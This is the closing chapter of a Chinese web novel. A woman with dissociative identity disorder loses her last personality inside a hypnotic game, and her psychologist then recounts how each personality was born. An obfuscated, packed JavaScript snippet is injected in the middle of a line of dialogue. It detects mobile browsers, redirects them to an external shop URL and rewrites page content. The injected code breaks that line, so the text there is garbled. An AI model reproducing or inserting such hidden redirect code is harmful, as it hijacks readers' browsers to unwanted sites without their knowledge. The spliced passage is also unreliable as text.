孙招娣说:“到现在你依然嘴硬,怎么绝口不提温月早就和你商量好的计划?” “因为……那份计划里……所有人都会……死……”陈成医瘫倒在地,望着天花板,无力道,“别想骗我……你这个恶毒的……两个恶毒的……女人……” 陈成医说完这句话就咽了气。 孙招娣体内最后一个人格消失,这代表她的病情彻底康复。 但却没有想象中的轻松,孙招娣倚着冰冷的墙壁,缓缓向下滑。 摸着自己的喉咙,未几,轻声说: “我和温月打算,让所有人在剧本杀的游戏里消失的。” “如果不是你,他们都会消失得很安详,甚至毫不知情。这场催眠将会成为我人生中最美好的回忆。” “在告别之前,大家聚集在一起玩游戏、吃饭、睡在同一个屋檐下。” “那会是我们最后一场游戏,我们会辩论,会欢笑,会举杯痛饮……最终沉寂在睡梦中。” “可这一切都被你给毁了。” …… 孙招娣倾身捡起落在地上的杯子。 一包橙汁粉,本来每人一点剂量刚好,但金兰花把全部橙汁粉都倒进了杯子里,成了陈成医的杯中餐。 这则会大大拉长陈成医的痛苦时间,像是被绳索绕颈,一点点收紧。 “我体会过他们濒死前的恐惧和痛苦,你也得体验一次才算公平。” …… 等陈成医的尸体消失后,孙招娣缓缓起身回到自己的房间。 她对这座华丽的庄园毫无留恋,安静地躺在床上,闭上双眼,与过去告别。 等再睁开眼时,又回到了心理咨询室。 惊讶地发现自己和温月之间多了一道铁网,上面甚至还扯了几条电线。 温月头上固定着纱布,手里也拿着电棍。 “123,”她起身,将毯子放到一边,“温医生,我做到了。” 温月明显松了口气,但还是没有放低警惕。 连续问了十几个问题后,才终于确认,所有人都消失了。 “太棒了!我的计划成功了!”温月眼神泛光,兴奋道,“你知道吗,我可以凭借这次的经历申报奖项,我的名字一定会出现在更高级别的讲台上!” “恭喜你。”孙招娣微笑。 “我的心理咨询室以后会免费对你开放,后续的心理治疗我也会亲力亲为,”温月真诚道,“孙阿姨,我也要恭喜你,战胜了自己体内的恶魔。” 孙招娣怔了怔,轻轻摇了摇头:“他们不是恶魔,他们都是我的朋友。” 温月这才发现,她眼角的晶莹不是睡醒的泪痕,而是怀念朋友的泪水。 她突然想起,前期调查时,孙招娣比现在更加精力充沛,尤其是讲到那些朋友的诞生时—— “那年我13岁!初一开学之前要分班考试,我的成绩很不好,就被分在了最差的班级。我妈知道后狠狠打了我一顿,然后又坐在家门口哭,说如果她的儿子还活着就好了,一定比我更聪明更有出息。” “那时候我也这么觉得,我也很希望弟弟能活下来。这样爸妈的心情就能好一点,我的处境也能好一点。” “从那天开始,我就能看见活着的弟弟了。他长得圆润可爱,是个上了电视的神童,也是爸妈的骄傲,可奇怪的是爸爸妈妈看不见他。” 温月:“这么说来,你在13岁的时候就已经出现精神问题了。” “是,可那时候我完全没意识到不对劲,也不知道什么精神分裂……” 温月说:“孙伶聪的原型是你早逝的亲弟弟,那第二个分裂的人格是谁?” “第二个和第三个是一起诞生的,”孙招娣说,“是妈妈和我……准确的说,是爱我的妈妈,和……不省心的我的婴儿时期。” 温月思忖一阵,说:“你在幻想,你母亲从你诞生的一瞬间,就很爱你。” “是的,我的诞生让爸妈开心,而不是……被取名‘招娣’的命运。” “我妈妈经常说,我出生之后就哭个没完,在保温箱里就给护士们添了很大的麻烦,因为哭声大,又一直哭,和我同一个房间的其他婴儿也会被我吓哭。” “后来回到家里,更是没日没夜地哭,我妈最不喜欢听见我的哭声,”孙招娣说,“后来她打我的时候不让我哭,说是我再哭就像小时候那样把我打晕。” “至于婴儿时期的我,除了会哭之外,也没什么了。等我看了心理学书自己给自己医治后,就连哭也哭不出来了,但那个我还活着。” 温月说:“你幻想中爱你的母亲是什么样的?” “看见我哭会耐心哄我,只会哄而不会埋怨我,愿意为了我付出一切。”孙招娣毫不犹豫道,“只爱我一个人!” 温月点头:“继续。” 孙招娣说:“然后就是元笑、秦北、还有Silas,我和你说过的。” “嗯,”温月看着笔记本,标记好序号,“再之后呢?第七位是谁?” “斯文。”孙招娣说。 “那年我大一,课余时间迷上了看小说,睡前看睡醒看,去上课的路上也在看,还因为看小说而坐过站。” “小说的作者是黑桃红心,她是我最喜欢的作家,我关注了她的微博,是个活泼开朗的女生。” “她经常在微博上晒自己做的饭,家里有个大院子,院子的围墙上都是她种的花,五颜六色非常梦幻。” “她说过自己出书的经历,包括新人时期遇到过不靠谱的出版社,以及她的反击过程。还给粉丝们分享护肤品,每一天发生什么都会在微博上说。” “我关注了她一年多,对她几乎了如指掌。我知道她喜欢什么颜色、爱吃什么、讨厌什么……” “那次我又被我妈打了,跟Silas说完后,又去跟她诉苦。没想到她很快就回复我了,甚至还给我发了200块红包!你知道在那个年代,200块对我有多么重要吗?” 孙招娣开心地笑了:“她安慰了我很久,跟我发了很长一段话。” 温月问:“你想成为黑桃红心?” “是,我想成为和她一样优秀的作家。”孙招娣微笑,“那一晚过后,斯文就诞生了。” 后来在近一步熟悉其他人格后,温月有一点不明白。 “按照你的叙述,斯文是个尖酸刻薄的人,这和现实生活中的黑桃红心不同。” 孙招娣的眉眼垂下。 叹道:“后来,黑桃红心因为在一本书中写了一句带有争议的话,导致被网暴。” “那些人把她在微博上发布的每一句话,甚至开的玩笑都逐字分析,最终给她扣下了莫须有的罪名。” “自那之后,黑桃红心开始半隐退状态,除了必要的宣传之外,再没有跟大家分享过生活,也再没有回过我的私信。” “所以我想,人还是不要太热情,也不要太善良。尤其是在这个网络传播速度比病毒还要快的时代里,做个坏人也未必是坏事。” “斯文刻薄嘴毒,但心肠并不完全坏。这是我为自己创造出的一层保护盾。” …… 温月在斯文的表格上写上了【分裂序号:7】 “第八位是什么时候?” “大二那年,同学们都去兼职,我找了个前台收银的工作,一站就是五六个小时。可等回到寝室,就看见其他人穿着漂亮的衣服,脸上是漂亮的妆容。听她们聊天才知道,她们去面试模特。” “在台上走几步,就可以拿到五百块,光鲜又靓丽。” 孙招娣低头看了眼自己突出的肚子和胃,无奈地摇摇头:“可惜我不行,就连收银这份工作也是找了四家,好不容易才找到的。大家都愿意要看上去轻盈伶俐的人,实在招不到人才会选择我。” “后来,黑桃红心又出了一本关于娱乐圈的小说,我看完以后就觉得,如果我也是个万众瞩目的大明星就好了。长相好,身材好,还能赚很多钱,有很多人爱。” 温月说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743223|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后就有了下一位?” “是,她叫俞耀星,英文名字是Ethereal Bloom。” “‘Ethereal’代表超凡脱俗,‘Bloom’是花开的意思,给人一种梦幻美丽的感觉。” “等一下,”温月说,“俞耀星……难道她的原型是俞星星?” “是,”孙招娣说,“就是那个当红演员,俞星星。” “俞耀星是天生的明星,她是个很有脾气和原则的人。对她好的人能够得到她的回报,对她不好的人就会得到她的报复。关于人生的小坎坷,总是抱着‘坏了我好心情的东西都该消失’的心态。” “这样的明媚光彩又聪明有心机的的人,就该有个年上男宠爱。然后,俞耀星的丈夫顾霆,就诞生了。” “顾霆不是天生的高位者。他有一段坎坷的人生经历。对外人无情狠毒,但对妻子百依百顺,无论她有多坏有多狠毒,都会通通包容。他们爱彼此的一切,包括缺点。” “而且顾霆是个狡诈的商人,他上位是用了阴暗手段的。我始终认为人该有两面,就像我爸妈对外人和对我,完全是两种状态。” 温月感叹:“所以黑桃红心的那本小说,应该算是个浪漫的霸道总裁文?” “是的,”孙招娣不好意思地笑笑,“那时候年纪小,就喜欢看这种小说。所以幻想出来的人物也很小说化。” “可以理解,我小学时就开始看霸总文了,也幻想过自己是个芭蕾舞者,又或者是个小提琴家,”温月问,“顾霆这个人格现实中有参考对象吗?” “有的,星雨公司总裁,那个年仅25岁就登上总裁位置,被全部股东反对,依然守住了位置的传奇,李廷。” 温月查了一下李廷的信息,问:“你对商圈人也有了解?” 孙招娣说:“我知道他是因为黑桃红心的作品被他公司买下来版权,我搜索时无意看见有营销号总结了他的人生。” “大学时我很佩服他,很羡慕他。有能力,有魄力,有魅力,又幸运,人又帅气。如果我是个又瘦又白的女明星,他一定会对我一见钟情。” 说完,又很不好意思地问:“温医生,你有没有觉得很可笑?” “这倒没有,”温月转了转笔,说:“从心理学的角度上,我很能理解这些人格的出现。” “从小开始,你就是个渴望被爱的女孩,高中时有了喜欢的男孩子,那时候的你年轻单纯,所以喜欢胆大妄为,能够带着你一起放纵的帅气酷男孩。” “受到了创伤算是雪上加霜,所以你渴望有独一份的关爱,这份关爱病态又可怕,但正是你需要的。” “后来你上了大学,兼职经历也算是半只脚迈进了社会。更加成熟的你,开始渴望更加成熟的关爱,于是你喜欢上了成熟的年上男。” 孙招娣激动的差点拍桌,她用力点头,脸上的肉也跟着晃:“是的!没错!我在成长的过程中,喜欢的男生类型也发生了改变。” “最后一个就是陈成医了,他像是个入室抢劫的贼,毁了我的桃花源……”孙招娣叹气,绝望地说,“我完全控制不了他。” “没关系,我现在已经大概了解到了这些人格,”温月扣住她的手,“现在把你心里所有的牵挂都放下,我愿意帮助你。” …… 那时候的孙招娣虽然病情严重,但在她的世界里,她拥有朋友,拥有爱情,拥有财富和光环。 而现在,一切浮华消散,梦醒了,她只剩下自己。 48岁的自己。 “孙阿姨,为自己的健康开心吗?” “需要时间适应一下。”孙招娣说。 温月安抚她:“那么接下来我建议你开始健身,或者学习一项乐器……总而言之是转移注意力。相信过不了多久你就会发现生命的乐趣。因为,你是个健康的人。” “哦对了!”温月提醒她,“最最关键的是,我建议先改掉名字。” “不要让这个经常会被提起的名字影响你每天的好心情。我待会儿会整理出一份心理治疗记录,你提交给相关部门,改掉名字很轻松。” 孙招娣点头:“好。” “那你想好改什么名字了吗?” 安静了一会儿,孙招娣平静地开口: “金兰花。” 房间的灯关闭,窗帘缓缓向两侧拉开,阳光映在身上,楼下车水马龙。 孙招娣是昨天傍晚乘着月色来到这里,一觉醒来大病初愈。 断舍离之后就是新生。 天终于亮了。 ——完——